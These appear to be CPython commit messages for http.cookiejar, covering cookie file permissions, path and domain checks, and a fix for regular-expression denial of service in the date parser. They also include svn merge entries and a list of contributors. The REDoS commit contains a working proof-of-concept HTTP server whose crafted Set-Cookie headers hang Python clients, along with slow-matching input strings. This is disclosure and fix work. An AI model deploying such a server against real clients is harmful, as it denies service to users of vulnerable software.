Note: This change is not effective on Microsoft Windows.
Cookies can store sensitive information and should therefore be protected
against unauthorized third parties. This is also described in issue #79096.
The filesystem permissions are currently set to 644, everyone can read the
file. This commit changes the permissions to 600, only the creater of the file
can read and modify it. This improves security, because it reduces the attack
surface. Now the attacker needs control of the user that created the cookie or
a ways to circumvent the filesystems permissions.
This change is backwards incompatible. Systems that rely on world-readable
cookies will breake. However, one could argue that those are misconfigured in
the first place.
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-c-1{spaces}!"
return f"b;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 # Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): # Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
import requests
requests.get("http://localhost:44020/")
* Regression test for http.cookiejar REDoS
If we regress, this test will take a very long time.
* Improve performance of http.cookiejar.ISO_DATE_RE
A string like
"444444" + (" " * 2000) + "A"
could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.
Handle time comparison for cookies with `expires` attribute when `CookieJar.make_cookies` is called.
Co-authored-by: Demian Brecht <demianbrecht@gmail.com>
https://bugs.python.org/issue12144
Automerge-Triggered-By: @asvetlov
* Refactor cookie path check as per RFC 6265
* Add tests for prefix match of path
* Add news entry
* Fix set_ok_path and refactor tests
* Use slice for last letter
Don't send cookies of domain A without Domain attribute to domain B when domain A is a suffix match of domain B while using a cookiejar with `http.cookiejar.DefaultCookiePolicy` policy. Patch by Karthikeyan Singaravelan.
svn+ssh://svn.python.org/python/branches/py3k
........
r83370 | georg.brandl | 2010-07-31 23:51:48 +0200 (Sa, 31 Jul 2010) | 5 lines
#8198: the Helper class should not save the stdin and stdout objects
at import time, rather by default use the current streams like the
other APIs that output help.
........
r83372 | georg.brandl | 2010-08-01 00:05:54 +0200 (So, 01 Aug 2010) | 1 line
#4007: remove *.a and *.so.X.Y files in "make clean".
........
r83373 | georg.brandl | 2010-08-01 00:11:11 +0200 (So, 01 Aug 2010) | 1 line
#5147: revert accidental indentation of header constant for MozillaCookieJar.
........
r83374 | georg.brandl | 2010-08-01 00:32:52 +0200 (So, 01 Aug 2010) | 1 line
#5146: handle UID THREAD command correctly.
........
r83384 | georg.brandl | 2010-08-01 08:32:55 +0200 (So, 01 Aug 2010) | 1 line
Build properties using lambdas. This makes test_pyclbr pass again, because it does not think that input and output are methods anymore.
........
Boris Verkhovskiy
Pascal Wittmann
Iman Kermani
Nick
Nikita Sobolev
Jacob Neil Taylor
bcaller
Xtreak
Stéphane Wirtel
Paul Bailey
Antoine Pitrou
R David Murray
Raymond Hettinger
Senthil Kumaran
Martin Panter
Berker Peksag
Serhiy Storchaka
Robert Collins
Benjamin Peterson
Victor Stinner
Brett Cannon
Giampaolo Rodola'
Andrew Svetlov
Philip Jenvey
Ezio Melotti
Meador Inge
Éric Araujo
Victor Stinner
Georg Brandl